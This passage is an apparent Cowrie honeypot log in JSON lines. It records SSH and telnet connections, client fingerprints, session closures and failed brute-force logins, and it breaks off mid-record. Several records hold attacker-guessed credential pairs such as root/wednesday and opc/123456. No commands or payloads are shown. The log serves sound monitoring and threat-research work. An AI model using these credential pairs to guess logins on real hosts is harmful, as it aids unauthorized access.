{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:57.384217Z","src_ip":"103.216.145.2","session":"0f24124efbb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser@2025","message":"login attempt [azureuser/azureuser@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:58.199932Z","src_ip":"103.216.145.2","session":"0f24124efbb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39580,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb34ec930e74","protocol":"telnet","message":"New connection: 128.199.8.54:39580 (159.203.135.109:23) [session: fb34ec930e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:58.588635Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:52:59.397444Z","src_ip":"103.216.145.2","session":"0f24124efbb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.16381049156189,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:01.197765Z","src_ip":"172.81.62.90","session":"279184d17d13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":47866,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c9c0bbe6ec3","protocol":"ssh","message":"New connection: 43.153.12.68:47866 (10.17.0.5:22) [session: 0c9c0bbe6ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:05.650980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:05.654330Z","src_ip":"43.153.12.68","session":"0c9c0bbe6ec3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:05.724462Z","src_ip":"43.153.12.68","session":"0c9c0bbe6ec3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"123456","message":"login attempt [elk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:06.028301Z","src_ip":"43.153.12.68","session":"0c9c0bbe6ec3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:07.098938Z","src_ip":"43.153.12.68","session":"0c9c0bbe6ec3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":35430,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8a0a9828024","protocol":"ssh","message":"New connection: 165.154.137.186:35430 (10.17.0.5:22) [session: f8a0a9828024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:09.847112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:09.850925Z","src_ip":"165.154.137.186","session":"f8a0a9828024","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:10.095431Z","src_ip":"165.154.137.186","session":"f8a0a9828024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.627986431121826,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:10.163560Z","src_ip":"128.199.8.54","session":"8ce4d6e5b877","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:10.839198Z","src_ip":"165.154.137.186","session":"f8a0a9828024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:12.086133Z","src_ip":"165.154.137.186","session":"f8a0a9828024","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40296,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c02dcd7e1f8","protocol":"ssh","message":"New connection: 165.154.137.186:40296 (10.17.0.5:22) [session: 1c02dcd7e1f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:14.369955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:14.374548Z","src_ip":"165.154.137.186","session":"1c02dcd7e1f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:14.645718Z","src_ip":"165.154.137.186","session":"1c02dcd7e1f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":46802,"dst_ip":"10.17.0.5","dst_port":22,"session":"07e7e5b238ff","protocol":"ssh","message":"New connection: 38.148.249.2:46802 (10.17.0.5:22) [session: 07e7e5b238ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:15.233481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:15.237830Z","src_ip":"38.148.249.2","session":"07e7e5b238ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:15.307306Z","src_ip":"38.148.249.2","session":"07e7e5b238ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:15.458284Z","src_ip":"165.154.137.186","session":"1c02dcd7e1f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john1234","message":"login attempt [john/john1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:15.617506Z","src_ip":"38.148.249.2","session":"07e7e5b238ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:16.688312Z","src_ip":"38.148.249.2","session":"07e7e5b238ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:16.730538Z","src_ip":"165.154.137.186","session":"1c02dcd7e1f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":56268,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed02f4756b3b","protocol":"ssh","message":"New connection: 165.154.137.186:56268 (10.17.0.5:22) [session: ed02f4756b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:22.875158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:22.879227Z","src_ip":"165.154.137.186","session":"ed02f4756b3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:23.139237Z","src_ip":"165.154.137.186","session":"ed02f4756b3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:23.988278Z","src_ip":"165.154.137.186","session":"ed02f4756b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:25.251619Z","src_ip":"165.154.137.186","session":"ed02f4756b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.0745484828949,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:25.666328Z","src_ip":"128.199.8.54","session":"aa7139350595","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":42296,"dst_ip":"159.203.135.109","dst_port":22,"session":"5dfc7154bf47","protocol":"ssh","message":"New connection: 103.122.221.179:42296 (159.203.135.109:22) [session: 5dfc7154bf47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:26.615876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:26.619865Z","src_ip":"103.122.221.179","session":"5dfc7154bf47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:26.873575Z","src_ip":"103.122.221.179","session":"5dfc7154bf47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wednesday","message":"login attempt [root/wednesday] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:27.636455Z","src_ip":"103.122.221.179","session":"5dfc7154bf47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:28.892842Z","src_ip":"103.122.221.179","session":"5dfc7154bf47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.33924579620361,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:43.927763Z","src_ip":"128.199.8.54","session":"fb34ec930e74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":43662,"dst_ip":"10.17.0.5","dst_port":22,"session":"c021e6ac9bb9","protocol":"ssh","message":"New connection: 165.154.137.186:43662 (10.17.0.5:22) [session: c021e6ac9bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:45.834527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:45.839133Z","src_ip":"165.154.137.186","session":"c021e6ac9bb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:46.092868Z","src_ip":"165.154.137.186","session":"c021e6ac9bb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":53964,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8278fdb2725","protocol":"ssh","message":"New connection: 165.154.137.186:53964 (10.17.0.5:22) [session: c8278fdb2725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:46.258476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:53:46.262802Z","src_ip":"165.154.137.186","session":"c8278fdb2725","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-ce